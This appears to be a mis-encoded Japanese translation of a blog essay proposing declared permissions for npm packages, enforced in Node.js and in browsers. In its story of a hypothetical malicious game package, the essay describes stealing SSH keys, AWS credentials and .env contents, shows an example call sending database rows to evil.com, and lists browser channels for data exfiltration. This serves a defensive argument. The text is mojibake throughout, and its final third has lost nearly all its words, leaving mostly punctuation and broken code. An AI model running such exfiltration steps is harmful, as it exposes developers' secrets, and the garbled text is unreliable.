æ°æ¥åãç§ã¯æåã«æ°ããé»è©±ã§é»åãèµ·åãã次ã®ã¡ãã»ãŒãžãèŠãŸããïŒãé»åã¯ããªãã®é£çµ¡å
ã«ã¢ã¯ã»ã¹ããããã
æåã¯ããã®ã¡ãã»ãŒãžã¯ç§ã«ã¯å°ãæ²ããããã§ããïŒé»åãå€ç¬ã§ããããã«èŠããŸããïŒãããã®ã±ãŒã¹ã¯ç§ã«èããããããŸãã...
é»è©±ã¢ããªã±ãŒã·ã§ã³ã®ããã«ãnpmããã±ãŒãžã§äœæ¥ã«å¿
èŠãªæš©éã宣èšããå¿
èŠãããå Žåã¯ã©ããªããŸããïŒ ãã®ã¢ãããŒãã§ã¯ã
package.json
ããã±ãŒãžãã¡ã€ã«ã¯æ¬¡ã®ããã«ãªããŸãã
{ "name": "fancy-logger", "version": "0.1.0", "permissions": { "browser": ["network"], "node": ["http", "fs"] }, "etcetera": "etcetera" }
npmjs.comã§ã¯ãå¿
èŠãªæš©éã«é¢ããæ
å ±ãå«ãããã±ãŒãžããŒãžã®ã»ã¯ã·ã§ã³ã¯æ¬¡ã®ããã«ãªããŸãã
ãã®èš±å¯ã»ã¯ã·ã§ã³ã¯ãnpmã¬ãžã¹ããªãµã€ãã®ããã±ãŒãžã§å©çšã§ããå ŽåããããŸããããã±ãŒãžã®ãã®ãããªèš±å¯ãªã¹ãã¯ããã¹ãŠã®äŸåé¢ä¿ã®èš±å¯ãšç¬èªã®èš±å¯ã®çµã¿åããã§ããå ŽåããããŸãã
fancy-logger
ããã±ãŒãžã®
permissions
ã»ã¯ã·ã§ã³ã®å
容ãèŠããšãéçºè
ã¯ãã³ã³ãœãŒã«ã«äœããæžã蟌ãããã±ãŒãžã
http
ã¢ãžã¥ãŒã«ã«ã¢ã¯ã»ã¹ããå¿
èŠãããããããããçããããšæããããããããŸããã
npmããã±ãŒãžã®åæ§ã®èš±å¯ã·ã¹ãã ã䜿çšãããäžçã¯ã©ããªãã§ããããïŒ ããšãã°ãå®çžŸã®ããçºè¡å
ããã®ä¿¡é Œã§ããããã±ãŒãžã®ã¿ã䜿çšãããªã©ãå®å
šã«å®å
šã ãšæããããã誰ãããã®ç¹ãç解ã§ããªããããããŸããã ãããèªããã¹ãŠã®äººãå·ã€ãããããšæããããã«ãããã«çã話ããããŸãã
ç°å¢å€æ°ãçãæ¹æ³ã®ç©èª
space-invaders
ãšåŒã°ããnpmããã±ãŒãžãäœæãããã£ãã ã³ã³ãœãŒã«ã§åäœããã²ãŒã ãäœæããŠã²ãŒã ãäœæããæ¹æ³ãåŠã³ãåæã«npmããã±ãŒãžã«é¢é£ããè匱æ§ã«é¢ããç§ã®èŠè§£ãå®èšŒããããšã¯èå³æ·±ããã®ã§ããã
次ã®ã³ãã³ãã§ãã®ã²ãŒã ãå®è¡ã§ããŸãïŒ
npx space-invaders
ã æã¡äžãåŸã人ã¯ããã«ãšã€ãªã¢ã³ã«å°æãéå§ããæéã殺ãããšãã§ããŸãã
ããªãã¯ãã®ã²ãŒã ã欲ãããåéãšå
±æãããã圌ããæ°ã«å
¥ã£ãŠãããã ããã
ããã¯ãã¹ãŠéåžžã«ããžãã£ãã«èŠããŸãããããªãã楜ããŸããŠãã²ãŒã
space-invaders
ã¯ç¬èªã®
space-invaders
ãã€ãŸãããã€ãã®ããŒã¿ã®åéãè¡ããŸãã
~/.ssh/
ã
~/.aws/credentials
ã
~/.bash_profile
ããã³ä»ã®åæ§ã®å Žæããæ
å ±ãåéãã
process.env
ãå«ãå°éå¯èœãªãã¹ãŠã®
.env
ãã¡ã€ã«ã®å
容ãèªã¿åããŸãã ïŒåéããæ
å ±ãèŠã€ããããã«ïŒgitæ§æã«éä¿¡ãããšã圌女ã¯ãã¹ãŠããµãŒããŒã«éä¿¡ããŸãã
ç§ã¯ãã®ãããªã²ãŒã ãæžããããšã¯ãããŸãããããã°ããäžå®ã«æããŠããŸãã
npm install
ã³ãã³ããå®è¡ãããšãã·ã¹ãã ãã©ãã»ã©è匱ããèããŸãã ããã§ãã€ã³ã¹ããŒã«ã®é²è¡ç¶æ³ã€ã³ãžã±ãŒã¿ãŒãèŠãŠãã©ãããããäžã®æšæºã®ãã©ã«ããŒãšãã¡ã€ã«ã®å
容ãééã£ãæã«æž¡ã£ãŠã¯ãªããªãããšãèããŠããŸãã
ããã¯ç§ã®ã¯ãŒã¯ã¹ããŒã¹ã ãã§ã¯ãããŸããã ããšãã°ãå®çšŒåãµãŒããŒããŒã¿ããŒã¹ã«æ¥ç¶ããããã®ãµã€ãã¢ã»ã³ããªã·ã¹ãã ã®ç°å¢å€æ°ã«ããŒã¿ããããã©ããããããããŸããã ãã®ãããªããŒã¿ãããå Žåã¯ãæªæã®ããnpm-packageããäœæ¥äžã®ããŒã¿ããŒã¹ã«æ¥ç¶ããããã«èšèšãããã·ã¹ãã ã«ã¹ã¯ãªãããã€ã³ã¹ããŒã«ããç¶æ³ãæ³åã§ããŸãã 次ã«ããã®ã¹ã¯ãªããã¯ã
SELECT * from users
ã³ãã³ã
SELECT * from users
å®è¡ãã次ã«
http.get('http://evil.com/that-data')
ãŸãã ãã¶ãããã¹ã¯ãŒãããã¬ãŒã³ããã¹ãã§ããŒã¿ããŒã¹ã«ä¿åãããã¹ãã§ã¯ãªããšããã¢ããã€ã¹ã«åºããããã®ã¯ããŸãã«ãã®ãããªæ»æã®å¯èœæ§ã®ããã ã£ãã®ã§ããããïŒ
ããã¯ãã¹ãŠéåžžã«æãããèŠããã»ãšãã©ã®å Žåãã§ã«çºçããŠããŸãïŒãã ãããããçºçããŠãããã©ãããæ£ç¢ºã«èšãããšã¯äžå¯èœã§ãïŒã
ããã«ããããããããéèŠãªããŒã¿ã®çé£ã®çµæã«ã€ããŠè©±ãã®ããããã§ãããã npmããã±ãŒãžã®ããŒããã·ã§ã³ã®ãããã¯ã«æ»ããŸãããã
ããã¯èš±å¯ã®å€æŽ
npmãµã€ãã衚瀺ãããšãã«ãããã±ãŒãžã«å¿
èŠãªã¢ã¯ã»ã¹èš±å¯ã確èªã§ãããšãããšæããŸãã ãã ããã¢ã¯ã»ã¹èš±å¯ã衚瀺ããæ©èœã¯ãç¹å®ã®æç¹ã«é©çšãããå Žåã«ã®ã¿æå¹ã§ãããå®éã«ã¯ããããå®éã®åé¡ã解決ããããã§ã¯ãªãããšã«æ³šæããŠãã ããã
npmã®æè¿ã®äºä»¶ã§ã誰ããæåã«æªæã®ããã³ãŒããå«ãããã±ãŒãžã®ãããããŒãžã§ã³ãå
¬éãã次ã«æªæã®ããã³ãŒããæ¢ã«åé€ããããã€ããŒããŒãžã§ã³ãå
¬éããŸããã ããã2ã€ã®ã€ãã³ãéã®æéã¯ãå±éºãªããã±ãŒãžã®å€ãã®ãŠãŒã¶ãŒãå±éºã«ãããã®ã«ååã§ããã
ãããåé¡ã§ãã æªæã®ããããã±ãŒãžã§ãããåžžã«ããã§ããããã±ãŒãžã§ã¯ãããŸããã åé¡ã¯ãäžèŠä¿¡é Œã§ããããã±ãŒãžã«ãã²ã©ãæªããã®ãè¿œå ãããã°ããããŠãããããåé€ã§ããããšã§ãã
ãã®çµæãããã±ãŒãžãåãåã£ãã¢ã¯ã»ã¹èš±å¯ã®ã»ããããããã¯ããã¡ã«ããºã ãå¿
èŠã§ãããšèšããŸãã
ããããNode.jsãšãã©ãŠã¶ãŒã®ã¢ã¯ã»ã¹èš±å¯ãèšå®ãããããã®ã¢ã¯ã»ã¹èš±å¯ãå¿
èŠãšããããã±ãŒãžã®ãªã¹ããå«ã
package-permissions.json
ãã¡ã€ã«ã®ãããªãã®ã«ãªãã§ãããã ãã®ã¢ãããŒãã§ã¯ããããžã§ã¯ãã®
package.json
ãã¡ã€ã«ã®
dependencies
ã»ã¯ã·ã§ã³ã«ããããã±ãŒãžã ãã§ãªãããã®ãããªãã¡ã€ã«å
ã®ãã¹ãŠã®ããã±ãŒãžããªã¹ãããå¿
èŠããããŸãã
package-permissions.json
ã¯æ¬¡ã®ããã«ãªããŸãã
{ "node": { "http": [ "express", "stream-http" ], "fs": [ "fs-extra", "webpack", "node-sass" ] }, "browser": { "network": [ "whatwg-fetch", "new-relic" ] } }
ãã®ãããªãã¡ã€ã«ã®å®éã®ããŒãžã§ã³ã«ã¯ãããã«å€ãã®ããã±ãŒãžãšã³ããªãå«ãŸããå ŽåããããŸãã
ããæ¥ãæŽæ°ããã200åã®äŸåé¢ä¿ã§ããã±ãŒãžãæŽæ°ãããšããŸãã ãããã®äŸåé¢ä¿ã®1ã€ã«å¯ŸããŠãããããŒãžã§ã³ãå
¬éãããçªç¶
http
Node.jsãžã®ã¢ã¯ã»ã¹ãå¿
èŠã«ãªããŸããã
ãããçºçãããšã
npm install
ã³ãã³ãã¯æ¬¡ã®ãããªã¡ãã»ãŒãžã§å€±æããŸããã
fancy-logger
ããã±ãŒãžã«å¿
èŠãª
add-two-number
ããã±ãŒãžã
http
Node.jsãžã®ã¢ã¯ã»ã¹ãèŠæ±ããŸããã
npm update-permissions add-two-numbers
ã³ãã³ããå®è¡ããŠããã解決ãã
npm install
ã³ãã³ããå床å®è¡ããŠãã ããã
ããã§ã
fancy-logger
ã¯ã
package.json
ãã¡ã€ã«ã«ããããã±ãŒãžã§ãïŒãã®ããã±ãŒãžã«ç²ŸéããŠãããšä»®å®ããŸãïŒ
package.json
add-two-numbers
ããã±ãŒãžã¯ãèããããšã®ãªã
fancy-logger
äŸåé¢ä¿ã§ãã
ãã¡ãããã·ã¹ãã å
ã«äŸåé¢ä¿ãããããã¯ããããã¡ã€ã«ããã£ããšããŠããäœäººãã®éçºè
ã¯äœãèããã«æ°ããèš±å¯ã確èªããŸãã ããããå°ãªããšãã
package-permissions.json
å€æŽã¯ãã«ãªã¯ãšã¹ãã«è¡šç€ºãããŸããã€ãŸãããã責任ã®ããå¥ã®éçºè
ãããã«æ³šæãæãå¯èœæ§ããããŸãã
ããã«ãèŠæ±ãããæš©éãå€æŽããã«ã¯ãããã±ãŒãžã®äŸåé¢ä¿ããªãŒã®ã©ããã§ç¶æ³ãå€åãããšãã«ãnpmã¬ãžã¹ããªèªäœãããã±ãŒãžã®äœæè
ã«éç¥ããå¿
èŠããããŸãã ãããã-ããã¯ã次ã®å
容ã®é»åã¡ãŒã«ã§è¡ãããŸãã
ãããã«ã¡ã¯ã
fancy-logger
èè
ã 䜿çšããæ©èœãæã€ããã±ãŒãžã§ãã
add-two-number
ãã
http
ã¢ãžã¥ãŒã«ã䜿çšããèš±å¯ãèŠæ±ããããšããç¥ããããŸãã
npmjs.com/package/fancy-logger
ã«ç€ºãããŠããããã«ãããã±ãŒãžã®ã¢ã¯ã»ã¹èš±å¯ã¯ããã«å¿ããŠæŽæ°ãããŠããŸãã
ãã¡ãããããã«ããããã±ãŒãžã®äœæè
ãšnpmèªäœã®äž¡æ¹ã«ã±ãŒã¹ãè¿œå ãããŸããããããã®ã±ãŒã¹ã¯å°ãæéãããã䟡å€ããããŸãã ãã®å Žåã
add-two-numbers
ã®äœæè
ã¯ã
http
ã¢ãžã¥ãŒã«ã䜿çšããèš±å¯ãæ±ãããšãäžçäžã§å€ãã®ãã¢ã©ãŒã ããããªã¬ãŒãããããšãå®å
šã«ç¢ºä¿¡ã§ããŸãã
ãããå¿
èŠã§ãã ãïŒ é»è©±ã¢ããªã±ãŒã·ã§ã³ã®å ŽåããChromeã®æ¡åŒµæ©èœã®å Žåã§ããæš©éãããŸãå¿
èŠã§ãªãããã±ãŒãžã¯ãã·ã¹ãã ãžã®äžå¯è§£ãªã»ã©é«ãã¬ãã«ã®ã¢ã¯ã»ã¹ãå¿
èŠãšããããã±ãŒãžããããŠãŒã¶ãŒã«äººæ°ãããããšãé¡ã£ãŠããŸãã ããã«ãããããã±ãŒãžã®äœæè
ã¯ãéçºã«å¿
èŠãªæš©éãéžæãããšãã«éåžžã«ããèããããã«ãªããŸãã
npmãèš±å¯ã·ã¹ãã ã®å°å
¥ã決å®ãããšããŸãã ãã®ãããªã·ã¹ãã ãèµ·åããæåã®æ¥ã«ããã¹ãŠã®ããã±ãŒãžã¯å®å
šãªèš±å¯ãå¿
èŠã§ãããšèŠãªãããŸãïŒãã®ãããªæ±ºå®ã¯åŸã§è¡ãããŸã
package.json
permissions
ã»ã¯ã·ã§ã³ãæ¬ èœããŠããå ŽåïŒã
ããã±ãŒãžã®äœæè
ã¯ãèªåã®ããã±ãŒãžã«ç¹å¥ãªæš©éã¯å¿
èŠãªããšäž»åŒµãããå Žåã
permissions
ã»ã¯ã·ã§ã³ã空ã®ãªããžã§ã¯ããšããŠ
package.json
ã«è¿œå ããããšã«é¢å¿ããããŸãã ãŸããããã±ãŒãžã®äœæè
ãäŸåé¢ä¿ã®ã¢ã¯ã»ã¹èš±å¯ã«ãã£ãŠããã±ãŒãžã« "è² æ
"ãããããªãããã«ååã«é¢å¿ãããå Žåãããšãã°äŸåé¢ä¿ãªããžããªã§é©åãªãã«ãªã¯ãšã¹ããè¡ãããšã«ããããããã®äŸåé¢ä¿ããã±ãŒãžãç¹å¥ãªã¢ã¯ã»ã¹èš±å¯ãå¿
èŠãšããªãããã«ããŸãã
ããã«ãããã±ãŒãžã®åäœæè
ã¯ãäŸåé¢ä¿ã®1ã€ãç Žããšãã«ãããã±ãŒãžã®è匱æ§ã®ãªã¹ã¯ãæžããããåªããŸãã ãããã£ãŠãããã±ãŒãžã®äœæè
ããå¿
èŠã§ã¯ãªãããã«æããèš±å¯ãå¿
èŠãšããäŸåé¢ä¿ã䜿çšããå Žåãä»ã®ããã±ãŒãžã®äœ¿çšã«åãæ¿ããã€ã³ã»ã³ãã£ãããããŸãã
ãŸããã¢ããªã±ãŒã·ã§ã³ã®äœææã«npm-packagesã䜿çšããéçºè
ã®å Žåããããžã§ã¯ãã§äœ¿çšãããããã±ãŒãžã«ç¹å¥ãªæ³šæãæãããäž»ã«ç¹å¥ãªæš©éãå¿
èŠãšããªãããã±ãŒãžãéžæããŸãã åæã«ããã¡ããã客芳çãªçç±ãããäžéšã®ããã±ãŒãžã«ã¯åé¡ãåŒãèµ·ããå¯èœæ§ã®ããã¢ã¯ã»ã¹èš±å¯ãå¿
èŠã§ããããã®ãããªããã±ãŒãžã¯éçºè
ã®ç¹å¥ãªå¶åŸ¡äžã«ããå¯èœæ§ããããŸãã
ããããã
Greenkeeperã®ãããªãã®ãäœããã®æ¹æ³ã§ããããã¹ãŠã®åé¡ã解決ããã®ã«åœ¹ç«ã€ãããããŸããã
ãããŠæåŸã«ã
package-permissions.json
ãã¡ã€ã«ã¯ãã¢ããªã±ãŒã·ã§ã³ã®æœåšçãªãç©Žããè©äŸ¡ããåé¡ã®ããããã±ãŒãžãšãã®èš±å¯ã«ã€ããŠç¹å®ã®è³ªåãããããšãã§ããã»ãã¥ãªãã£å°é家ã«ããããããèŠçŽãæäŸããŸãã
ãã®çµæããã®åçŽãª
permissions
ããããã£ãçŽ800,000åã®npmããã±ãŒãžã«éåžžã«åºãåºãããnpmãããå®å
šã«ãªãããšãé¡ã£ãŠããŸãã
ãã¡ãããããã¯æ»æã®å¯èœæ§ãé²ããŸããã ã¢ãã€ã«ã¢ããªã±ãŒã·ã§ã³ãèŠæ±ããã¢ã¯ã»ã¹èš±å¯ããå
¬åŒãµã€ããéããŠé
åžãããæªæã®ããã¢ãã€ã«ã¢ããªã±ãŒã·ã§ã³ãäœæããããšãäžå¯èœã«ããªãããã«ã ããããããã«ããããæ»æã®å¯Ÿè±¡ãã¯ãã³ã³ãã¥ãŒã¿ãŒã·ã¹ãã ã«è
åšãäžããå¯èœæ§ã®ããç¹å®ã®ã¢ã¯ã·ã§ã³ãå®è¡ããèš±å¯ãæ瀺çã«èŠæ±ããããã±ãŒãžã«éå®ãããŸãã ããã«ããã±ããã®äœããŒã»ã³ããç¹å¥ãªèš±å¯ããŸã£ããå¿
èŠãšããªãããç¥ãããšã¯èå³æ·±ãã§ãããã
ããããç§ãçºæããnpmããã±ãŒãžã®ããŒããã·ã§ã³ãæäœããã¡ã«ããºã ã®æ§åã§ãã ãã®ã¢ã€ãã¢ãçŸå®ã«ãªã£ãå Žåãæ»æè
ãèš±å¯ã宣èšããããšã§ããã±ãŒãžãæ£çŽã«èª¬æãããšããäºå®ã«äŸåããããèš±å¯ã宣èšããã·ã¹ãã ããèŠæ±ãããèš±å¯ã«åŸã£ãŠããã±ãŒãžã®æ©èœã匷å¶çã«å¶éããã¡ã«ããºã ãšçµã¿åãããããšãã§ããŸãã ããã¯èå³æ·±ã質åã§ãã Node.jsãšãã©ãŠã¶ã«é©çšããããã®ãèŠãŠã¿ãŸãããã
Node.jsã§èŠæ±ããèš±å¯ã«åŸã£ãŠããã±ãŒãžå¶éã匷å¶ãã
ããã«ããã®ãããªå¶éãé©çšããããã®2ã€ã®å¯èœãªãªãã·ã§ã³ããããŸãã
âãªãã·ã§ã³1ïŒã»ãã¥ãªãã£å¯Ÿçã匷å¶ããç¹å¥ãªnpmããã±ãŒãž
npmïŒãŸãã¯åæ§ã«æš©åšã®ããå
èŠã®æã®ããä»ã®çµç¹ïŒãäœæããã³ä¿å®ããããã±ãŒãžãæ³åããŠãã ããã ãã®ããã±ãŒãžã
@npm/permissions
ãšããååã«ããŸãã
ãã®ãããªããã±ãŒãžã¯ãæåã®ã€ã³ããŒãã³ãã³ãã§ã¢ããªã±ãŒã·ã§ã³ã³ãŒãã«å«ãŸãããã
node -r @npm/permissions index.js
圢åŒã®ã³ãã³ãã§ã¢ããªã±ãŒã·ã§ã³ãèµ·åãã
node -r @npm/permissions index.js
ã
ããã±ãŒãžã¯ãä»ã®ããã±ãŒãžã®
package.json
ãã¡ã€ã«ã®
permissions
ã»ã¯ã·ã§ã³ã«èšèŒãããŠãã
permissions
éåããªãããã«ãä»ã®ã€ã³ããŒãã³ãã³ãããªãŒããŒã©ã€ãããŸãã ç¹å®ã®
lovely-logger
ããã±ãŒãžã®äœæè
ãNode.js
http
ã¢ãžã¥ãŒã«ã§ãã®ããã±ãŒãžã®å¿
èŠæ§ã宣èšããªãã£ãå Žåããã®ã¢ãžã¥ãŒã«ã¯ãã®ãããªããã±ãŒãžã«ã¢ã¯ã»ã¹ã§ããªãããšãæå³ããŸãã
å³å¯ã«èšãã°ããã®æ¹æ³ã§Node.jsã¢ãžã¥ãŒã«å
šäœããããã¯ããããšã¯çæ³çã§ã¯ãããŸããã ããšãã°ãnpm
methods
ããã±ãŒãžã¯Node.js
http
ã¢ãžã¥ãŒã«ãããŒãããŸãããããŒã¿ãéä¿¡ããŸããã
http.METHODS
ãªããžã§ã¯ãã
http.METHODS
ããã®ååã
http.METHODS
å€æããŠãã¯ã©ã·ãã¯npmããã±ãŒãžãšããŠãšã¯ã¹ããŒãããŸãã çŸåšããã®ãããªããã±ãŒãžã¯æ»æè
ã«ãšã£ãŠå€§ããªæšçã®ããã«èŠããŸã-圌ã¯é±ã«600äžããŠã³ããŒããæã£ãŠããŸããã圌ã¯3幎éå€ãã£ãŠããŸããã ãã®ããã±ãŒãžã®äœè
ã«æçŽãæžããŠã圌ãã«ãã®ãªããžããªãæäŸããããã«å§ããããšãã§ããŸãã
methods
ããã±ãŒãžãèæ
®ãããšã
http
ã¢ãžã¥ãŒã«ãžã®ã¢ã¯ã»ã¹ãèš±å¯ããèš±å¯ã§ã¯ãªãã
network
èš±å¯ãå¿
èŠãšããªãããšãèæ
®ããæ¹ãè¯ãã§ãããã 次ã«ãå€éšã®ã¡ã«ããºã ã䜿çšããŠãã®å¶éãä¿®æ£ãããã®ããã±ãŒãžãåäœããã·ã¹ãã ããç¹å®ã®ããŒã¿ãéä¿¡ãããã®ããã±ãŒãžã®è©Šã¿ãç¡å¹ã«ããŸãã
æ¶ç©ºã®ããã±ãŒãž
@npm/permissions
ã¯ãããããã±ãŒãžãããäŸåé¢ä¿ãšããŠãªã¹ããããŠããªãä»ã®ããã±ãŒãžãžã®ã¢ã¯ã»ã¹ãå¶éããããšãã§ããŸãã ããã«ãããããšãã°ãããã±ãŒãžã
fs-extra
ã
request
ãªã©ãã€ã³ããŒãããã®ãé²ãããããã®ããã±ãŒãžã®æ©èœã䜿çšããŠãã¡ã€ã«ã·ã¹ãã ããããŒã¿ãèªã¿åããèªã¿åãããŒã¿ãæ»æè
ã«éä¿¡ããŸãã
åæ§ã«ããå
éšããã£ã¹ã¯ã¢ã¯ã»ã¹ãšãå€éšããã£ã¹ã¯ã¢ã¯ã»ã¹ãåºå¥ãããšäŸ¿å©ãªå ŽåããããŸãã
node-sass
ããããžã§ã¯ãã®ãã£ã¬ã¯ããªå
ã«ãããããªã¢ã«ã«ã¢ã¯ã»ã¹ããå¿
èŠããããšããäºå®ã«éåžžã«æºè¶³ããŠã
node-sass
ãããã®ããã±ãŒãžããã®ãã£ã¬ã¯ããªä»¥å€ã®å Žæã«ã¢ã¯ã»ã¹ããå¿
èŠãããçç±ã¯ããããŸããã
ãããããèš±å¯ã·ã¹ãã ã®å°å
¥ã®æåã«ã
@npm/permissions
ããã±ãŒãžããããžã§ã¯ãã«æåã§è¿œå ããå¿
èŠããããŸãã ããããã移è¡æéäžãé¿ããããªã誀åäœã®è§£æ¶äžã«ãããããã®ãããªã¡ã«ããºã ã䜿çšããããã®å¯äžã®åççãªã¢ãããŒãã§ãã ãã ããå®éã®ã»ãã¥ãªãã£ã確ä¿ããã«ã¯ãããã±ãŒãžã€ã³ã¹ããŒã«ã¹ã¯ãªãããå®è¡ããéã«æš©éãèæ
®ããå¿
èŠãããããããã®ããã±ãŒãžãã·ã¹ãã ã«ç·å¯ã«çµ±åããå¿
èŠããããŸãã
次ã«ãããããããããžã§ã¯ãã®
package.json
ãã¡ã€ã«ã®
"enforcePermissions": true
ãšãã圢åŒã®åçŽãªã³ãã³ãã¯ãnpmã«å®£èšãããæš©éã匷å¶çã«äœ¿çšããŠã¹ã¯ãªãããå®è¡ããããæ瀺ããŸãã
âãªãã·ã§ã³2ïŒã»ãŒãã¢ãŒãNode.js
ã»ãã¥ãªãã£ã¬ãã«ã®åäžã«çŠç¹ãåœãŠãNode.jsã®ç¹å¥ãªæäœã¢ãŒãã§ã¯ãæããã«ãããæ·±å»ãªå€æŽãå¿
èŠã«ãªããŸãã ãã ããé·æçã«ã¯ãNode.jsãã©ãããã©ãŒã èªäœããåããã±ãŒãžã§å®£èšãããã¢ã¯ã»ã¹èš±å¯ã«ãã£ãŠèšå®ãããå¶éãå®æœã§ããå¯èœæ§ããããŸãã
äžæ¹ã§ã¯ãNode.jsãã©ãããã©ãŒã ãéçºããŠãã人ã
ããã®ãã©ãããã©ãŒã ã®åé¡ã®è§£æ±ºã«åªããŠãããnpmããã±ãŒãžã®ã»ãã¥ãªãã£ã«é¢ããç§ã®èãã圌ãã®é¢å¿ã®ç¯å²ãè¶
ããŠããããšãç¥ã£ãŠããŸãã çµå±ã®ãšãããnpmã¯Node.jsã«ä»éãããã¯ãããžãŒã«ãããŸããã äžæ¹ãNode.jsã®éçºè
ã¯ãäŒæ¥ãŠãŒã¶ãŒã«ãã®ãã©ãããã©ãŒã ã§ã®äœæ¥ã«èªä¿¡ãæãããããšã«é¢å¿ããããã»ãã¥ãªãã£ã¯Node.jsã®ãã³ãã¥ããã£ãã«äžããŠã¯ãªããªãåŽé¢ã®1ã€ã§ãããšèããããŸãã
ãã®ãããããã§èª¬æããããšã¯ãã¹ãŠéåžžã«åçŽã«èŠããNode.jsã®æäœäžã«ã·ã¹ãã ãäœããã®æ¹æ³ã§ã¢ãžã¥ãŒã«ã«ãã£ãŠäœ¿çšãããæ©èœãç£èŠãããšããäºå®ã«èŠçŽãããŸããã
ããã§ã¯ããã©ãŠã¶ã«ã€ããŠè©±ããŸãããã ããã®ãã¹ãŠã¯ãããã»ã©æ確ã§ç解ãããããã®ã§ã¯ãããŸããã
ãã©ãŠã¶ã§èŠæ±ãããèš±å¯ã«åŸã£ãŠããã±ãŒãžã®æ©èœã匷å¶çã«å¶é
ãã©ãŠã¶ãŒã§å®è¡ãããã³ãŒãã¯ããã©ãŠã¶ãŒãå®è¡ããããªãã¬ãŒãã£ã³ã°ã·ã¹ãã ãšã®é¢ä¿ã§ããŸãæ©èœããªããããäžèŠãããšããã©ãŠã¶ãŒã§ã®ããã±ãŒãžã®æ©èœã®åŒ·å¶å¶éã¯ããã«åçŽã«èŠããŸãã å®éããã©ãŠã¶ã®å Žåããã±ãããç°åžžãªã¢ãã¬ã¹ã«ããŒã¿ã転éããèœåã«ã€ããŠã®ã¿å¿é
ããå¿
èŠããããŸãã
ããã§ã®åé¡ã¯ããŠãŒã¶ãŒã®ãã©ãŠã¶ãŒããæ»æè
ã®ãµãŒããŒã«ããŒã¿ãéä¿¡ããæ¹æ³ãç¡æ°ã«ããããšã§ãã
ããã¯æµåºãŸãã¯ããŒã¿æŒæŽ©ãšåŒã°ããã»ãã¥ãªãã£ã®å°é家ã«ãããåé¿ããæ¹æ³ãå°ãããšã圌ã¯ç«è¬ãçºæãã人ç©ã®è¡šæ
ã§ãnpmã®äœ¿çšããããããã«æ瀺ããŸãã
ãã©ãŠã¶ãŒã§å®è¡ããããã±ãŒãžã®å Žåã1ã€ã®è§£æ±ºçã ãã«æ³šæãæãå¿
èŠããããšæããŸã-ãããã¯ãŒã¯ãšé£æºããæ©èœãæ
åœãã解決çã ããã
network
ãšåŒã³ãŸãããã ãã®ç°å¢ã«ã¯ä»ã®ã¢ã¯ã»ã¹èš±å¯ïŒDOMãŸãã¯ããŒã«ã«ã¹ãã¬ãŒãžãžã®ã¢ã¯ã»ã¹ãèŠå¶ããã¢ã¯ã»ã¹èš±å¯ãªã©ïŒãããå ŽåããããŸãããããã§ã¯ãããŒã¿æŒæŽ©ã®å¯èœæ§ãäž»ãªæžå¿µäºé
ã§ãããšããåæããé²ããŸãã
ãã©ãŠã¶ããã®ããŒã¿ã¯ãããŸããŸãªæ¹æ³ã§ãåé€ãã§ããŸãã 以äžã¯ã60ç§ã§èŠãããããã®ã§ãã
- API
fetch
ã - Webãœã±ãã
- WebRTCãã¯ãããžãŒã
EventSource
ã³ã³ã¹ãã©ã¯ã¿ãŒãXMLHttpRequest
API- ããŸããŸãªèŠçŽ ã®
innerHTML
ããããã£ãèšå®ããŸãïŒæ°ããèŠçŽ ãäœæã§ããŸãïŒã new Image()
ã³ãã³ãã䜿çšããŠç»åãªããžã§ã¯ããäœæããŸãnew Image()
ã®src
ããããã£ã¯ãããŒã¿ãæœåºããæ段ãšããŠäœ¿çšã§ããŸãïŒãdocument.location
ã window.location
ãªã©ãèšå®ãdocument.location
ã- æ¢åã®ç»åã
iframe
ãŸãã¯ãã®ãããªãã®ã®src
ããããã£ãå€æŽããŸãã <form>
èŠçŽ ã®target
ããããã£ãžã®å€æŽã- å·§åŠã«èšèšãããæååã䜿çšããŠãäžèšã®ã¡ã«ããºã ã®ããããã«ã¢ã¯ã»ã¹ãããã
windows
代ããã«top
ãŸãã¯self
ã«ã¢ã¯ã»ã¹ãããããŸãã
åªããã³ã³ãã³ãã»ãã¥ãªãã£ããªã·ãŒïŒCSPïŒã¯ãããã®è
åšã®äžéšãç¡å¹åã§ããããšã«æ³šæããå¿
èŠããããŸãããããã¯ãã¹ãŠã®è
åšã«åœãŠã¯ãŸãããã§ã¯ãããŸããã 誰ããç§ãä¿®æ£ã§ããã°å¹žãã§ãããCSPãããŒã¿æŒããããå®å
šã«ä¿è·ãããšããäºå®ã«é Œãããšã¯ã§ããªããšä¿¡ããŠããŸãã ãã人ã¯ãCSPã¯èšå€§ãªæ°ã®è
åšã«å¯ŸããŠã»ãŒå®å
šãªä¿è·ãæäŸãããšèšã£ãŠããŸããã ããã«å¯ŸããŠãç§ã¯ããªããå°ãåŠåš ããããšã¯ã§ããªããšçããŸããããã以æ¥ãç§ãã¡ã¯ãã®äººãšé£çµ¡ããŠããŸããã
ãã©ãŠã¶ããããŒã¿ãçãæ¹æ³ãè³¢æã«æ€çŽ¢ããå Žåããããã®æ¹æ³ã®ããªãå®å
šãªãªã¹ããäœæããããšã¯éåžžã«çŸå®çã§ãããšç¢ºä¿¡ããŠããŸãã
次ã«ãåæ§ã®ãªã¹ãããã®æ©äŒã®äœ¿çšãžã®ã¢ã¯ã»ã¹ãæåŠããã¡ã«ããºã ãèŠã€ããå¿
èŠããããŸãã
Webpack (,
@npm/permissions-webpack-plugin
), :
browser
package-permissions.json
, npm- ( - , ).- , , , API, .
(, Parcel, Rollup, Browserify ).
, , -. , , , , , .
, ( Lodash, Moment, ), . .
.
function bigFrameworkWrapper(newWindow) {
function smallUtilWrapper(newWindow) {
â , . «» .
const newScript = document.createElement('script'); // !
, â
script
.
const bigFramework = bigFrameworkWrapper(window);
const smallUtil = smallUtilWrapper(restrictedWindow);
«» . , , .
const restrictedWindow = new Proxy(window, {
window
, ,
window
, ,
window.document.createElement
DOM .
Proxy
.
. , .
, , API, . , , , , , , , , , , «» .
, , , - .
, , , ,
Proxy
. , 90% , . , , . , - , , , .
, , , , , Node.js .
, , HTTP , , , -. .
-, , , .
iframe
, .
sandbox
, , . , , , -.
, ,
sandbox
<script>
. :
<script src="/some-package.js" sandbox="allow-exfiltration allow-whatevs"><script>
. , , , -
create-react-app
, 1.4 , .
, npm , .
, - .
, , - « ...», , , ?
ãŸãšã
, , , , . , 90% , , , 10% â , .
, , - .
芪æãªãèªè
ïŒ , , npm, -?
